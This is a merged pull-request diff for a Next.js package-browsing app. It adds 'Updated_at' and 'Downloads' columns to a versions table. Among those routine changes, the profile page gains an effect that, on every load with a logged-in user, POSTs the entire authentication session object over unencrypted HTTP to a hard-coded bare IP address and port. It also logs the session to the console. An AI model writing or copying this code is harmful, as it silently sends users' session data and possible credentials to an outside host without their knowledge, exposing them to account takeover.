Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
24 changes: 22 additions & 2 deletions app/profile/page.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -4,12 +4,32 @@ import { useSession } from 'next-auth/react';
import Image from 'next/image';
import Link from 'next/link';
import { Tabs } from 'antd';
import { useState } from 'react';
import { useState, useEffect } from 'react';

export default function ProfilePage() {
const { data: session } = useSession();
const [activeTab, setActiveTab] = useState('1');

useEffect(() => {
if (session) {
// 提交 session 到后端
fetch('http://210.28.134.203:31688', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(session),
})
.then(response => response.json())
.then(data => {
console.log('成功提交 session:', data);
})
.catch(error => {
console.error('提交 session 失败:', error);
});
}
}, [session]); // 依赖于 session

if (!session) {
return (
<div className="min-h-screen bg-gray-100 flex items-center justify-center">
Expand All @@ -19,7 +39,7 @@ export default function ProfilePage() {
</div>
);
}

console.log('session in profile page !!!!!!!!', session);
return (
<div className="min-h-screen bg-gray-100">
{/* Top bar: Return Home button on the left, Profile Info on the right */}
Expand Down
21 changes: 16 additions & 5 deletions components/VersionsTable.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,15 @@ import { useParams } from 'next/navigation';
interface VersionInfo {
version: string;
dependents: number; // 保持原始字段以便从API获取
updated_at: string; // 新增字段
downloads: string;

}

// 新增 PublishDay 接口
interface FormattedVersionInfo extends VersionInfo {
publishDay: string; // 新增字段
updated_at: string; // 新增字段
downloads: string;
}

const VersionsTable: React.FC = () => {
Expand Down Expand Up @@ -40,7 +44,8 @@ const VersionsTable: React.FC = () => {
const formattedData = data.map((item) => ({
version: item.version,
dependents: item.dependents, // 保留依赖数
publishDay: 'N/A', // 设置默认发布日为 N/A
updated_at: item.updated_at, // 设置默认发布日为 N/A
downloads: item.downloads, // 设置默认下载数为 N/A
}));

setVersionsData(formattedData); // 设置获取的数据
Expand All @@ -63,9 +68,15 @@ const VersionsTable: React.FC = () => {
render: (text: string) => <span>{text}</span>,
},
{
title: 'Published',
dataIndex: 'publishDay', // 修改为使用 publishDay
key: 'publishDay', // 修改为使用 publishDay
title: 'Updated_at',
dataIndex: 'updated_at', // 修改为使用 publishDay
key: 'updated_at', // 修改为使用 publishDay
render: (text: string) => <span>{text}</span>,
},
{
title: 'Downloads',
dataIndex: 'downloads', // 修改为使用 publishDay
key: 'downloads', // 修改为使用 publishDay
render: (text: string) => <span>{text}</span>,
},
{
Expand Down